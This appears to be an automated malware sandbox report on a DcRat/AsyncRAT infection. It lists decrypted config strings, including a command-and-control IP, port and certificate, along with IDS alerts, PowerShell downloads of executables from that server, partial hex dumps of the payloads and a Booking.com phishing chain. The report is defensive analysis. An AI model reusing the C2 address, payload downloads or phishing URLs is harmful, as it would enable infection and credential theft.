"BkiGqtc6q6M1kb0vxh6s+adeR1vdw2Q6PQBtJ6PIr8T0YWN8JbhC+k7hqUQXf52aDyzyASmRwL7zDj9+pg3LuEQiOW/7znu/xc3SM4PpqaTz2vr/GaGJUn7YYherkelSi23Cq4PUsIZqIcqI38D6rwq58aLAnL0wKrapNDek00Y="}

Sample uses string decryption to hide its real strings

Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 1414
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: 92.255.85.2
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: LoaderPanel
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: false
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: wgzhwujraskz
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: MIICMDCCAZmgAwIBAgIVAJHz+ah5/J2brULSjvSUc0iQ1oaHMA0GCSqGSIb3DQEBDQUAMGQxFTATBgNVBAMMDExvYWRlciBQYW5lbDETMBEGA1UECwwKcXdxZGFuY2h1bjEcMBoGA1UECgwTRGNSYXQgQnkgcXdxZGFuY2h1bjELMAkGA1UEBwwCU0gxCzAJBgNVBAYTAkNOMB4XDTI0MDYyMzE5MDc1MFoXDTM1MDQwMjE5MDc1MFowEDEOMAwGA1UEAwwFRGNSYXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKp2yro0uvnyW5zSOLP7+UN5jwwmGf7etJxfEbnoT2kASrj94YBBkn5ouLu6RKIQdEIKQe0D91DnNGjgAxIQS7832z2B/XbNNpMTRAUaSR7x9YMAfdKatsQ1yrw8jL+aHkMa9z3s9ZJ61GHL3rQap2/qRA3MCgjOE1HDkVM6ayshAgMBAAGjMjAwMB0GA1UdDgQWBBR4VbOZRjY+OVaHv5BXbYQIjfZ7xjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4GBAH0z81fjHX24yLYTNwWHz+ksMjk2MtMs0roXCF1OjMdn9BSypbr2CQtHaOBvHi8Jd6GkOKaBVR/HHDCSwhyucirxMlvTRkOD4DPb4eEcY7R9uhbUjXUPRLv+8IVnawTyKKweTOCBKLttvyXQ2gXxmud7eyoUTre/TBECxlRahknH
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: BkiGqtc6q6M1kb0vxh6s+adeR1vdw2Q6PQBtJ6PIr8T0YWN8JbhC+k7hqUQXf52aDyzyASmRwL7zDj9+pg3LuEQiOW/7znu/xc3SM4PpqaTz2vr/GaGJUn7YYherkelSi23Cq4PUsIZqIcqI38D6rwq58aLAnL0wKrapNDek00Y=
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: null
Source: 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp	String decryptor: Default

Phishing

AI detected phishing page

Source: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI	Joe Sandbox AI: Score: 9 Reasons: The brand 'Booking.com' is a well-known online travel agency., The legitimate domain for Booking.com is 'booking.com'., The provided URL 'booking.extranetupdate.com' does not match the legitimate domain., The URL contains an additional word 'extranetupdate', which is suspicious and often indicative of phishing., The domain 'extranetupdate.com' is not associated with Booking.com., The use of a subdomain 'booking' in 'booking.extranetupdate.com' is a common tactic in phishing to mimic legitimate sites. DOM: 1.1.pages.csv
Source: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI	Joe Sandbox AI: Score: 8 Reasons: The brand 'Booking.com' is a well-known online travel agency., The legitimate domain for Booking.com is 'booking.com'., The provided URL 'booking.extranetupdate.com' does not match the legitimate domain exactly., The use of 'extranetupdate' in the URL is suspicious and could indicate a phishing attempt, as it is not a standard subdomain for Booking.com., The URL structure suggests an attempt to mimic a legitimate service update or extranet page, which is a common phishing tactic. DOM: 1.3.pages.csv

Source: unknown	HTTPS traffic detected: 142.250.9.106:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.210.66:443 -> 192.168.2.5:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.216.210.66:443 -> 192.168.2.5:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.155.1.116:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.194.137:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.67.201.252:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.67.201.252:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 130.248.246.42:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.155.1.116:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.208.240:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.209.240:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.208.240:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.5:49767 version: TLS 1.2

Source:	Binary string: q costura.packetlib.pdb.compressed source: MSBuild.exe, 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed source: MSBuild.exe, 00000015.00000002.2155302925.0000000002F81000.00000004.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2842478 - Severity 1 - ETPRO JA3 Hash - Suspected ASYNCRAT Server Cert (ja3s) : 92.255.85.2:1414 -> 192.168.2.5:49764
Source: Network traffic	Suricata IDS: 2861127 - Severity 1 - ETPRO MALWARE Observed Malicious SSL/TLS Certificate (DCRAT) : 92.255.85.2:1414 -> 192.168.2.5:49764
Source: Network traffic	Suricata IDS: 2861128 - Severity 1 - ETPRO MALWARE Observed Malicious SSL/TLS Certificate (DCRAT Loader Panel) : 92.255.85.2:1414 -> 192.168.2.5:49764

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Wed, 16 Apr 2025 14:26:48 GMTAccept-Ranges: bytesETag: "11ddbe96dbaedb1:0"Server: Microsoft-IIS/10.0Date: Thu, 17 Apr 2025 11:24:42 GMTContent-Length: 502688Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e5 06 47 91 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 aa 06 00 00 e4 00 00 00 00 00 00 1e c9 06 00 00 20 00 00 00 e0 06 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 08 00 00 02 00 00 29 dc 07 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d0 c8 06 00 4b 00 00 00 00 e0 06 00 ec e0 00 00 00 00 00 00 00 00 00 00 00 90 07 00 a0 1b 00 00 00 e0 07 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 24 a9 06 00 00 20 00 00 00 aa 06 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ec e0 00 00 00 e0 06 00 00 e2 00 00 00 ac 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 07 00 00 02 00 00 00 8e 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c9 06 00 00 00 00 00 48 00 00 00 02 00 05 00 e0 5c 01 00 f0 6b 05 00 03 00 02 00 03 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 2a 1e 00 28 04 01 00 06 2a 1e 00 28 05 01 00 06 2a 1e 00 28 06 01 00 06 2a 1e 00 28 07 01 00 06 2a 1e 00 28 08 01 00 06 2a 1e 00 28 09 01 00 06 2a 1e 00 28 0a 01 00 06 2a 1e 00 28 0b 01 00 06 2a 1e 00 28 0c 01 00 06 2a 1e 00 28 0d 01 00 06 2a 1e 00 28 0e 01 00 06 2a 1e 00 28 0f 01 00 06 2a 1e 00 28 10 01 00 06 2a 1e 00 28 11 01 00 06 2a 1e 00 28 12 01 00 06 2a 1e 00 28 13 01 00 06 2a 1e 00 28 14 01 00 06 2a 1e 00 28 15 01 00 06 2a 1e 00 28 16 01 00 06 2a 1e 00 28 17 01 00 06 2a 1e 00 28 18 01 00 06 2a 1e 00 28 19 01 00 06 2a 1e 00 28 1a 01 00 06 2a 1e 00 28 1b 01 00 06 2a 1e 00 28 1c 01 00 06 2a 1e 00 28 1d 01 00 06 2a 1e 00 28 1e 01 00 06 2a 1e 00 28 1f 01 00 06 2a 1e 00 28 20 01 00 06 2a 1e 00 28 21 01 00 06 2a 1e 00 28 22 01 00 06 2a 1e 00 28 23 01 00 06 2a 1e 00 28 24 01 00 06 2a 1e 00 28 25 01 00 06 2a 1e 00 28 26 01 00 06 2a 1e 00 28 27 01 00 06 2a 1e 00 28 28 01 00 06 2a 1e 00 28 29 01 00 06 2a 1e 00 28 2a 01 00 06 2a 1e 00 28 2b 01 00 06 2a 1e 00 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Fri, 04 Apr 2025 19:08:18 GMTAccept-Ranges: bytesETag: "cf65dfec94a5db1:0"Server: Microsoft-IIS/10.0Date: Thu, 17 Apr 2025 11:24:46 GMTContent-Length: 1548800Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 47 05 da d5 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 98 17 00 00 08 00 00 00 00 00 00 6e b7 17 00 00 20 00 00 00 c0 17 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 18 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 b7 17 00 57 00 00 00 00 c0 17 00 aa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 17 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 97 17 00 00 20 00 00 00 98 17 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 aa 05 00 00 00 c0 17 00 00 06 00 00 00 9a 17 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 e0 17 00 00 02 00 00 00 a0 17 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 b7 17 00 00 00 00 00 48 00 00 00 02 00 05 00 88 97 16 00 8c 1f 01 00 01 00 00 00 d9 00 00 06 e0 7c 00 00 a6 1a 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 57 00 07 80 c2 18 00 48 33 c0 c3 00 00 00 00 b8 57 00 07 80 c3 00 00 33 c0 c2 14 00 00 00 00 1e 17 28 5d 01 00 06 2a 1e 02 28 17 00 00 0a 2a 32 02 7b 07 00 00 04 28 d0 00 00 06 2a da 73 18 00 00 0a 25 72 01 00 00 70 6f 1a 00 00 0a 72 2f 00 00 70 6f 1e 00 00 0a 25 72 2f 00 00 70 6f 1a 00 00 0a 02 6f 1e 00 00 0a 6f 1f 00 00 0a 28 d4 00 00 06 2a da 73 18 00 00 0a 25 72 01 00 00 70 6f 1a 00 00 0a 72 3b 00 00 70 6f 1e 00 00 0a 25 72 45 00 00 70 6f 1a 00 00 0a 02 6f 1e 00 00 0a 6f 1f 00 00 0a 28 d4 00 00 06 2a 56 28 23 00 00 0a 73 24 00 00 0a 20 20 02 00 00 6f 25 00 00 0a 2a 62 7e 02 00 00 04 2c 10 7e 02 00 00 04 6f 26 00 00 0a 14 80 02 00 00 04 2a 66 7e 04 00 00 04 28 20 00 00 0a 2c 0c 28 0a 00 00 06 2c 05 28 0d 00 00 06 2a 8e 0f 00 28 0f 00 00 06 0f 01 28 10 00 00 06 d0 02 00 00 1b 28 27 00 00 0a 28 28 00 00 0a a5 02 00 00 1b 2a 1a 7e 1f 00 00 04 2a 1e 02 80 1f 00 00 04 2a 1a 7e 20 00 00 04 2a 1e 02 80 20 00 00 04 2a 1a 7e 21 00 00 04 2a 1e 02 80 21 00 00 04

Source: global traffic	HTTP traffic detected: GET /pixel.exe HTTP/1.1Host: 92.255.85.2
Source: global traffic	HTTP traffic detected: GET /qxm.exe HTTP/1.1Host: 92.255.85.2

Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49762 -> 92.255.85.2:80
Source: Network traffic	Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49763 -> 92.255.85.2:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49763 -> 92.255.85.2:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49762 -> 92.255.85.2:80
Source: Network traffic	Suricata IDS: 1810003 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP PE File Download : 92.255.85.2:80 -> 192.168.2.5:49762
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49762 -> 92.255.85.2:80

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.255.85.2

Source: global traffic	HTTP traffic detected: GET /redirect.html HTTP/1.1Host: myidverify.s3.us-east-1.amazonaws.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: myidverify.s3.us-east-1.amazonaws.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://myidverify.s3.us-east-1.amazonaws.com/redirect.htmlAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: extranetupdate.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://myidverify.s3.us-east-1.amazonaws.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1Host: extranetupdate.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://myidverify.s3.us-east-1.amazonaws.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=5g9qhg2s8j1v6ia0pupjhbf3oj
Source: global traffic	HTTP traffic detected: GET /sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI HTTP/1.1Host: booking.extranetupdate.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://myidverify.s3.us-east-1.amazonaws.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/OtAutoBlock.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
Source: global traffic	HTTP traffic detected: GET /static/otSDKStub.js HTTP/1.1Host: booking.extranetupdate.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://booking.extranetupdate.com/sign-in?op_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=8adfpa1nognav7t2muoumjuvlt
